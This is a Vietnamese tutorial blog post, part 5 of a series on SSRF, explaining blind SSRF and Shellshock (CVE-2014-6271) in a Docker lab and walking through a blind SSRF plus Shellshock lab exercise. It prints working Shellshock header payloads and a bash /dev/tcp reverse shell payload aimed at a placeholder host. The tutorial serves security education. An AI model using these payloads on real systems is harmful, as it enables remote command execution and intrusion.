- vừa được xem lúc

Server side request forgery vulnerabilities (SSRF) - Các lỗ hổng giả mạo yêu cầu phía máy chủ (Phần 5)

0 0 30

Người đăng: Viblo Security

Theo Viblo Asia

II. Phân tích và khai thác các lỗ hổng Server-side request forgery (tiếp)

8. Lỗ hổng SSRF dạng Blind

Cũng giống với các dạng lỗ hổng blind khác, lỗ hổng Blind SSRF xảy ra khi giao diện không trả về bất kỳ thông tin nào về kết quả cuộc tấn công SSRF, nhưng payload của chúng ta vẫn được thực thi trong server back-end. Trong trường hợp giao diện trang web không trả về kết quả, cách thông dụng nhất để xác định lỗ hổng SSRF tồn tại (ở dạng blind) là sử dụng kỹ thuật out-of-band (OAST) mà đã được tôi trình bày ở mục trước. Các bạn có thể xem lại phân tích của lab Blind SSRF with out-of-band detection.

Lỗ hổng SSRF dạng blind có thể không mang lại nhiều thông tin hữu ích cũng như hướng khai thác sâu hơn do mục đích của tấn công SSRF thường là thu thập thông tin nhạy cảm. Tuy nhiên, nếu kẻ tấn công có thể tận dụng dạng lỗ hổng này một cách khéo léo, thực hiện scan máy chủ nội bộ để phát hiện các lỗ hổng còn tồn tại ở máy chủ nội bộ. Khả năng tìm kiếm các lỗ hổng trong các máy chủ nội bộ cao hơn do các nhà phát triển thường chú trọng hơn với các server public.

Để các bạn có thể hình dung rõ hơn về hậu quả mang lại từ dạng lỗ hổng Blind SSRF, chúng ta cùng phân tích CVE-2014-6271 - Lỗ hổng bảo mật Shellshock. Lỗ hỏng Shellshock xuất hiện tại các phiên bản từ GNU Bash 4.3 trở về trước.

Link môi trường Docker: https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271

Dựng môi trường

Khởi chạy môi trường Docker với lệnh docker-compose up -d

Sau khi dựng thành công, thu được 22 địa chỉ, địa chỉ http://<IP>:8080/victim.cgi chứa lỗ hỏng Shellshock và http://<IP>:8080/safe.cgi đã được sửa lỗi. Trước khi đi vào xem xét môi trường chứa lỗi, cần thay đổi quyền ở 22 tệp victim.cgisafe.cgi tại /var/www/html.

Nguyên lý hoạt động

Khi gắn giá trị cho biến test, và thực hiện in ra biến test:

Nhưng nếu thử chạy một tiến trình con bash trước khi in ra biến test:

Giá trị biến $test không được in ra. Khi thoát tiến trình con thì mới có thể in ra giá trị biến test. Điều này xảy ra là do khi chạy tiến trình con thì giá trị biến test vẫn được lưu trong tiến trình cha. Để thực thi các lệnh với biến test trong tiến trình con, chúng ta có thể export biến test thành biến môi trường:

Với ý tưởng như trên, nếu chúng ta thử cài đặt một hàm thực thi test thành hàm môi trường thì sao?

Đúng như dự đoán, hàm thực thi như bình thường. Đối với trường hợp cài đặt một đoạn string thành môi trường:

Như các bạn thấy, điều thú vị đã xảy ra: khi thực thi biến test tại tiến trình cha thì được hiểu là string, còn khi thực thi trong tiến trình con, hệ thống lại thực thi lệnh whoami. Do đó:

  • Để thực hiện tấn công Shellshock thì kẻ tấn công cần có quyền thao tác với biến môi trường (với ví dụ string như trên) và có thể mở một tiến trình con để thực thi lệnh shell.
  • Nguyên nhân lỗ hỏng xảy ra là do cơ chế hoạt động các biến môi trường trong Bash với phiên bản từ 4.34.3 trở về trước.

Như vậy có thể xây dựng một payload để kiểm thử lỗ hỏng Shellshock như sau:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Tại phiên bản Bash 4.3 nó đã hoạt động, giải thích về câu payload trên:

  • env: đặt biến môi trường sau đó thực thi luôn câu lệnh phía sau
  • bash -c: mở một tiến trình con bash sau đó thực thi lệnh phía sau

Cả payload hoạt động như sau: sau khi mở tiến trình con bash, hệ thống đặt biến môi trường x và hiểu x là một hàm tự động, do không có quy định việc kết thúc của hàm nên hệ thống đã thực thi luôn câu lệnh phía sau và in ra vulnerable, tiếp theo thực thi in ra this is a test. Bạn đọc có thể tham khảo thêm cách giải thích:

Khai thác lỗ hỏng

Do tệp .cgi sẽ kế thừa giá trị biến môi trường từ hệ thống, nên chúng ta có thể khai thác lỗ hỏng Shellshock thông qua header User-Agent.

Payload: () { :; };echo; /usr/bin/id;

Cũng có thể tấn công với header Connection:

Payload reverse shell:

() { :; };echo; /bin/bash -i >& /dev/tcp/<IP>/2333 0>&1;

Kết thúc mục phân tích lỗ hổng blind SSRF, chúng ta cùng phân tích lab demo sau:

Phân tích lab Blind SSRF with Shellshock exploitation

Miêu tả: Trang web chứa lỗ hổng blind SSRF. Biết rằng hệ thống thực hiện tìm nạp URL qua header Referer khi người dùng thực hiện tải thông tin chi tiết sản phẩm. Để hoàn thành bài lab, chúng ta cần sử dụng Shellshock payload để truy xuất thông tin tên người dùng hiện tại của server. Với thông tin IP hệ thống trong dải 192.168.0.X mở tại cổng 80808080.

Request khi truy cập thông tin chi tiết sản phẩm:

Kiểm tra lỗ hổng blind SSRF với burp collaborator.

Scan phát hiện có thể khai thác lỗ hổng tại hai header User-AgentReferer

Gửi request tới Intruder, header User-Agent thay bằng payload Shellshock, header Referer dùng để brute force IP hệ thống.

Khi IP server đúng, thì client Collaborator của chúng ta sẽ nhận được kết quả dòng lệnh $(whoami).

Từ đây chúng ta xác định được người dùng hiện tại là peter-mJbnDO, submit đáp án và hoàn thành bài lab:

Các tài liệu tham khảo

Bình luận

Bài viết tương tự

- vừa được xem lúc

Cây tìm kiếm nhị phân

Như mình đã trình bày trong bài viết trước, tìm kiếm nhị phân trên một mảng thể hiện sự hiệu quả. Tuy nhiên, hiệu suất của việc tìm kiếm trên mảng bị giảm đi rất nhiều khi dữ liệu trong tập dữ liệu th

0 0 26

- vừa được xem lúc

Giới thiệu thuật toán tìm kiếm nhị phân

Tìm kiếm nhị phân là một thuật toán cơ bản trong khoa học máy tính. Thay vì tìm kiếm một phần tử trong mảng một cách tuyến tính duyệt từng phần tử, tìm kiếm nhị phân cho ta cách tìm kiếm tối ưu hơn bằ

0 0 26

- vừa được xem lúc

Quy hoạch động trên cây

I. Giới thiệu.

0 0 37

- vừa được xem lúc

Toán học tổ hợp

II. Các dãy số và công thức quan trọng. 1. Dãy Fibonaci.

0 0 140

- vừa được xem lúc

Một số ứng dụng nâng cao của cây DFS (phần 1)

I. Cây DFS và bài toán định chiều đồ thị. 1. Phân loại các cung trên cây DFSext{DFS}DFS.

0 0 42

- vừa được xem lúc

Một số ứng dụng nâng cao của cây DFS (phần 2)

III. Bài toán tìm thành phần liên thông mạnh - giải thuật Tarjan. 1. Định nghĩa thành phần liên thông mạnh.

0 0 32